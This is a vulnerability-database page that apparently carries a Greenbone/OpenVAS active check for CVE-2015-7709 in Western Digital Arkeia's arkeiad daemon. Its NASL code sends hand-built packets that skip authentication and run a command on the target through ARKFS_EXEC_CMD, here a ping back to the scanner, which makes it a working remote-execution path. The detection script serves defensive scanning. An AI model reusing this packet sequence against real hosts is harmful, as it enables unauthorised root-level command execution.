| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| The vulnerability of the WD Arkeia data storage device allows a hacker to bypass authentication procedures or execute arbitrary commands. | 8 Feb 201600:00 | – | bdu_fstec | |
| CVE-2015-7709 | 13 Jul 201500:00 | – | circl | |
| Multiple Vulnerabilities in the Western Digital Arkeia arkeiad Daemon | 10 Oct 201500:00 | – | cnvd | |
| Network Time Protocol Daemon Pidfile Driftfile Arbitrary File Overwrite (CVE-2015-7709) | 26 Nov 201500:00 | – | checkpoint_advisories | |
| CVE-2015-7709 | 5 Oct 201515:00 | – | cve | |
| CVE-2015-7709 | 5 Oct 201515:00 | – | cvelist | |
| Western Digital Arkeia < 11.0.12 - Remote Code Execution (Metasploit) | 13 Jul 201500:00 | – | exploitdb | |
| Western Digital Arkeia Remote Code Execution | 10 Jul 201502:51 | – | metasploit | |
| CVE-2015-7709 | 5 Oct 201515:59 | – | nvd | |
| Authentication flaw | 5 Oct 201515:59 | – | prion |
| Source | Link |
|---|---|
| seclists | www.seclists.org/fulldisclosure/2015/Jul/54 |
# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:arkeia:western_digital_arkeia";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.107041");
script_version("2026-03-12T05:56:11+0000");
script_tag(name:"last_modification", value:"2026-03-12 05:56:11 +0000 (Thu, 12 Mar 2026)");
script_tag(name:"creation_date", value:"2016-08-16 13:16:06 +0200 (Tue, 16 Aug 2016)");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_cve_id("CVE-2015-7709");
script_tag(name:"qod_type", value:"remote_analysis");
script_tag(name:"solution_type", value:"WillNotFix");
script_name("Western Digital Arkeia <= v11.0.12 RCE Vulnerability - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2016 Greenbone AG");
script_family("General");
script_dependencies("gb_arkeia_virtual_appliance_detect_617.nasl", "os_detection.nasl");
script_mandatory_keys("ArkeiaAppliance/installed");
script_require_ports("Services/arkeiad", 617);
script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2015/Jul/54");
script_tag(name:"summary", value:"The Western Digital Arkeia Appliance is affected by a remote
code execution (RCE) vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted request using the ARKFS_EXEC_CMD function and
sending an ICMP Echo Request back to the scanner host.
Notes:
- For a successful detection of this flaw the scanner host needs to be able to directly receive
ICMP Echo Requests (Type 8) from the target.
- If the target is a Windows system constantly sending ICMP Echo requests to the scanner host
(e.g. a Monitoring System) the detection routine might be not fully reliable. In this case please
create an override for any result of this VT.");
script_tag(name:"insight", value:"The insufficient checks on the authentication of all clients in
arkeiad daemon can be bypassed.");
script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to execute
arbitrary commands with root or SYSTEM privileges.");
script_tag(name:"affected", value:"Western Digital Arkeia Appliance version 11.0.12 and prior.");
script_tag(name:"solution", value:"No known solution was made available for at least one year
since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
options are to upgrade to a newer release, disable respective features, remove the product or
replace the product by another one.");
exit(0);
}
include("dump.inc");
include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("list_array_func.inc");
include("pcap_func.inc");
function arkeiad_recv( soc ) {
local_var soc, len, r;
r = recv( socket:soc, length:8 );
if( ! r || strlen( r ) < 8 )
return;
len = ord( r[7] );
if( ! len || len < 1 )
return r;
r += recv( socket:soc, length:len );
return r;
}
if( ! port = get_app_port( cpe:CPE, service:"arkeiad" ) )
exit( 0 );
if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
exit( 0 );
ownhostname = this_host_name();
ownip = this_host();
src_filter = pcap_src_ip_filter_from_hostnames();
dst_filter = string( "(dst host ", ownip, " or dst host ", ownhostname, ")" );
filter = string( "icmp and icmp[0] = 8 and ", src_filter, " and ", dst_filter );
if( os_host_runs( "Windows") == "yes" )
target_runs_windows = TRUE;
foreach connect_back_target( make_list( ownip, ownhostname ) ) {
# nb: Always keep open_sock_tcp() after the first call of a function forking on multiple hostnames /
# vhosts (e.g. http_get(), http_post_put_req(), http_host_name(), get_host_name(), ...). Reason: If
# the fork would be done after calling open_sock_tcp() the child's would share the same socket
# causing race conditions and similar.
#
# In this case this also includes pcap_src_ip_filter_from_hostnames() from above.
if( ! soc = open_sock_tcp( port ) )
continue;
req = raw_string( 0x00, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70 ) +
crap( data:raw_string( 0 ), length:12 ) +
raw_string( 0xc0, 0xa8, 0x02, 0x8a ) +
crap( data:raw_string( 0 ), length:56 ) +
raw_string( 0x8a, 0x02, 0xa8 ) +
raw_string( 0xc0, 0x41, 0x52, 0x4b, 0x46, 0x53 ) + # "ARKFS"
raw_string( 0x00 ) +
raw_string( 0x72, 0x6f, 0x6f, 0x74 ) + # "root"
raw_string( 0x00 ) +
raw_string( 0x72, 0x6f, 0x6f, 0x74 ) + # "root"
crap( data:raw_string( 0 ), length:3 ) +
raw_string( 0x34, 0x2e, 0x33, 0x2e, 0x30, 0x2d, 0x31 ) + # "4.3.0-1"
crap( data:raw_string( 0 ), length:11 );
send( socket:soc, data:req );
res = arkeiad_recv( soc:soc );
if( ! res || raw_string( 0x00, 0x60, 0x00, 0x04 ) >!< res ) {
close( soc );
continue;
}
req2 = raw_string( 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x32 ) +
crap( data:raw_string( 0 ), length:11 );
send( socket:soc, data:req2 );
res2 = arkeiad_recv( soc:soc );
if( ! res2 || raw_string( 0x00, 0x60, 0x00, 0x04 ) >!< res2 ) {
close( soc );
continue;
}
req3 = raw_string( 0x00, 0x61, 0x00, 0x04, 0x00, 0x01, 0x00, 0x1a,
0x00, 0x00, 0x31, 0x33, 0x39, 0x32, 0x37, 0x31,
0x32, 0x33, 0x39, 0x38, 0x00, 0x45, 0x4e ) +
crap( data:raw_string( 0 ), length:11 );
send( socket:soc, data: req3 );
res3 = arkeiad_recv( soc:soc );
if( ! res3 || raw_string( 0x00, 0x43, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00 ) >!< res3 ) {
close( soc );
continue;
}
req4 = raw_string( 0x00, 0x62, 0x00, 0x01, 0x00, 0x02, 0x00, 0x1b,
0x41, 0x52, 0x4b, 0x46, 0x53, 0x5f, 0x45, 0x58,
0x45, 0x43, 0x5f, 0x43, 0x4d, 0x44, 0x00, 0x31 ) +
crap( data:raw_string( 0 ), length:11 );
send( socket:soc, data:req4 );
res4 = arkeiad_recv( soc:soc );
if( ! res4 || raw_string( 0x00, 0x43, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00 ) >!< res4 ) {
close( soc );
continue;
}
vtstrings = get_vt_strings();
vtcheck = vtstrings["ping_string"];
if( target_runs_windows )
command = "ping -n 5 " + connect_back_target;
else
command = "ping -c 5 -p " + hexstr( vtcheck ) + " " + connect_back_target;
cmdlen = raw_string( strlen( command ) );
req5 = raw_string( 0x00, 0x63, 0x00, 0x04, 0x00, 0x03, 0x00, 0x15,
0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x30, 0x3a,
0x31, 0x2c ) +
crap( data:raw_string( 0 ), length:12 ) +
raw_string( 0x64, 0x00, 0x04, 0x00, 0x04, 0x00 ) +
cmdlen +
command +
raw_string( 0x00 );
send( socket:soc, data:req5 );
for( i = 0; i < 3; i++ ) {
res5 = send_capture( socket:soc, data:"", timeout:5, pcap_filter:filter );
if( ! res5 )
continue;
type = get_icmp_element( icmp:res5, element:"icmp_type" );
if( ! type || type != 8 )
continue;
# nb: If understanding https://datatracker.ietf.org/doc/html/rfc792 correctly the "data" field
# should be always there. In addition at least standard Linux and Windows systems are always
# sending data so it should be safe to check this here.
if( ! data = get_icmp_element( icmp:res5, element:"data" ) )
continue;
# nb:
# - Like seen on / in e.g.
# - https://ilinux.wordpress.com/2018/04/18/%DA%86%D8%B7%D9%88%D8%B1-%D9%88%D9%82%D8%AA%DB%8C-%D9%87%D9%85%D9%87-%DA%86%DB%8C%D8%B2-%D8%A8%D8%B3%D8%AA%D9%87%E2%80%8C%D8%B3%D8%AA-%D8%A8%D9%87-%D8%A7%DB%8C%D9%86%D8%AA%D8%B1%D9%86%D8%AA-%D9%85/
# - GS-9790
# - We can easily rule out this one as not a valid response...
if( "PING by PRTG" >< data )
continue;
if( ( target_runs_windows || vtcheck >< data ) ) {
close( soc );
report = 'By sending a special request it was possible to execute `' + command + '` on the remote host.\n\nReceived answer (ICMP "Data" field):\n\n' + hexdump( ddata:data );
security_message( port:port, data:report );
exit( 0 );
}
}
close( soc );
}
# nb: Don't use exit(99); as we can't be sure that the target isn't affected if e.g. the scanner
# host isn't reachable by the target host or another IP is responding from our request.
exit( 0 );
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation